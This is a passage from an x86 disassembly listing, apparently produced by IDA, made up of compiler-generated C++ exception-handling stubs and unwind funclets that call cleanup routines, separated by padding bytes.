jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B28h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40208B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40208B
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403700 proc near ; DATA XREF: sub_403700+2o
mov eax, offset dword_43F4C0
jmp sub_437AB8
SEH_403700 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439298: ; DATA XREF: ___:0043F72Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C50 proc near ; DATA XREF: sub_403C50+2o
mov eax, offset dword_43F700
jmp sub_437AB8
SEH_403C50 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4392C8: ; DATA XREF: ___:0043F764o
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403CD0 proc near ; DATA XREF: sub_403CD0+2o
mov eax, offset dword_43F738
jmp sub_437AB8
SEH_403CD0 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D50 proc near ; DATA XREF: sub_403D50+2o
mov eax, offset dword_43F770
jmp sub_437AB8
SEH_403D50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_439318: ; DATA XREF: ___:0043F7CCo
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AE6
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403DC0 proc near ; DATA XREF: sub_403DC0+2o
mov eax, offset dword_43F7A0
jmp sub_437AB8
SEH_403DC0 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_439398: ; DATA XREF: ___:0043F82Co
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AE6
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403EA0 proc near ; DATA XREF: sub_403EA0+2o
mov eax, offset dword_43F800
jmp sub_437AB8
SEH_403EA0 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403F80 proc near ; DATA XREF: sub_403F80+2o
mov eax, offset dword_43F860
jmp sub_437AB8
SEH_403F80 endp
; ---------------------------------------------------------------------------
db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404600 proc near ; DATA XREF: sub_404600+2o
mov eax, offset dword_43F918
jmp sub_437AB8
SEH_404600 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43955B: ; DATA XREF: ___:0043F9CCo
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439566: ; DATA XREF: ___:0043F9D4o
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-134h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E8h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404C30 proc near ; DATA XREF: sub_404C30+8o
mov eax, offset dword_43F9A0
jmp sub_437AB8
SEH_404C30 endp
; ---------------------------------------------------------------------------
db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------
loc_439800: ; DATA XREF: ___:0043FBA4o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-28h]
and eax, 1
test eax, eax
jz locret_43981E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43981E: ; CODE XREF: ___:00439810j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4066A0 proc near ; DATA XREF: sub_4066A0+2o
mov eax, offset dword_43FB78
jmp sub_437AB8
SEH_4066A0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
loc_439840: ; DATA XREF: ___:0043FBDCo
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-198h]
and eax, 1
test eax, eax
jz locret_439864
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_439864: ; CODE XREF: ___:00439856j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406850 proc near ; DATA XREF: sub_406850+2o
mov eax, offset dword_43FBB0
jmp sub_437AB8
SEH_406850 endp
; ---------------------------------------------------------------------------
db 11h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406B80 proc near ; DATA XREF: sub_406B80+2o
mov eax, offset dword_43FBE8
jmp sub_437AB8
SEH_406B80 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-454h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398AB: ; DATA XREF: ___:0043FC44o
lea ecx, [ebp-43Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398B6: ; DATA XREF: ___:0043FC4Co
lea ecx, [ebp-424h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406C80 proc near ; DATA XREF: sub_406C80+8o
mov eax, offset dword_43FC18
jmp sub_437AB8
SEH_406C80 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407080 proc near ; DATA XREF: sub_407080+2o
mov eax, offset dword_43FC58
jmp sub_437AB8
SEH_407080 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o
mov eax, offset dword_43FC88
jmp sub_437AB8
SEH_4076B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439928: ; DATA XREF: ___:0043FCE4o
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407740 proc near ; DATA XREF: sub_407740+8o
mov eax, offset dword_43FCB8
jmp sub_437AB8
SEH_407740 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-2C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43994B: ; DATA XREF: ___:0043FD1Co
lea ecx, [ebp-2DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-174h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-15Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-114h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-144h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-27Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-330h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-318h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-34Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-12Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2F8h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-300h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o
mov eax, offset dword_43FCF0
jmp sub_437AB8
SEH_4077E0 endp
; ---------------------------------------------------------------------------
db 0CFh dup(0CCh)
dd 90C84D8Dh, 0C5574CE9h
db 75h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_409650 proc near ; DATA XREF: sub_409650+2o
mov eax, offset dword_4400A0
jmp sub_437AB8
SEH_409650 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A360 proc near ; DATA XREF: sub_40A360+2o
mov eax, offset dword_4400D0
jmp sub_437AB8
SEH_40A360 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-38h]
and eax, 1
test eax, eax
jz locret_439D86
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_439D86: ; CODE XREF: ___:00439D78j
retn
; ---------------------------------------------------------------------------
loc_439D87: ; DATA XREF: ___:0044012Co
lea ecx, [ebp-34h]
jmp sub_401596
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A500 proc near ; DATA XREF: sub_40A500+2o
mov eax, offset dword_440100
jmp sub_437AB8
SEH_40A500 endp
; ---------------------------------------------------------------------------
align 10h
dd 90C84D8Dh, 0C556CCE9h
db 75h
; ---------------------------------------------------------------------------
loc_439DB9: ; DATA XREF: ___:0040AA22o
mov eax, offset dword_440140
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AEE0 proc near ; DATA XREF: sub_40AEE0+5o
mov eax, offset dword_440170
jmp sub_437AB8
SEH_40AEE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B060 proc near ; DATA XREF: sub_40B060+5o
mov eax, offset dword_4401D0
jmp sub_437AB8
SEH_40B060 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_439DFB: ; DATA XREF: ___:0044025Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_40155F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B180 proc near ; DATA XREF: sub_40B180+2o
mov eax, offset dword_440230
jmp sub_437AB8
SEH_40B180 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_439E4B: ; DATA XREF: ___:004402A4o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_40155F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B240 proc near ; DATA XREF: sub_40B240+2o
mov eax, offset dword_440278
jmp sub_437AB8
SEH_40B240 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B2E0 proc near ; DATA XREF: sub_40B2E0+2o
mov eax, offset dword_4402C0
jmp sub_437AB8
SEH_40B2E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439EC8: ; DATA XREF: ___:0044032Co
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B500 proc near ; DATA XREF: sub_40B500+2o
mov eax, offset dword_440300
jmp sub_437AB8
SEH_40B500 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439EF8: ; DATA XREF: ___:0040B6C2o
mov eax, offset dword_440340
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439F30: ; DATA XREF: ___:0040B9A8o
mov eax, offset dword_440370
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C430 proc near ; DATA XREF: sub_40C430+2o
mov eax, offset dword_4403B8
jmp sub_437AB8
SEH_40C430 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-0A78h]
jmp loc_401B13
; ---------------------------------------------------------------------------
loc_439F7B: ; DATA XREF: ___:00440414o
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439F86: ; DATA XREF: ___:0044041Co
lea ecx, [ebp-0A54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40C4D0 proc near ; DATA XREF: sub_40C4D0+8o
mov eax, offset dword_4403E8
jmp sub_437AB8
SEH_40C4D0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CBE0 proc near ; DATA XREF: sub_40CBE0+2o
mov eax, offset dword_440430
jmp sub_437AB8
SEH_40CBE0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-260h]
jmp loc_40228E
; ---------------------------------------------------------------------------
loc_439FEB: ; DATA XREF: ___:0044048Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439FF6: ; DATA XREF: ___:00440494o
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A001: ; DATA XREF: ___:0044049Co
lea ecx, [ebp-278h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A00C: ; DATA XREF: ___:004404A4o
lea ecx, [ebp-278h]
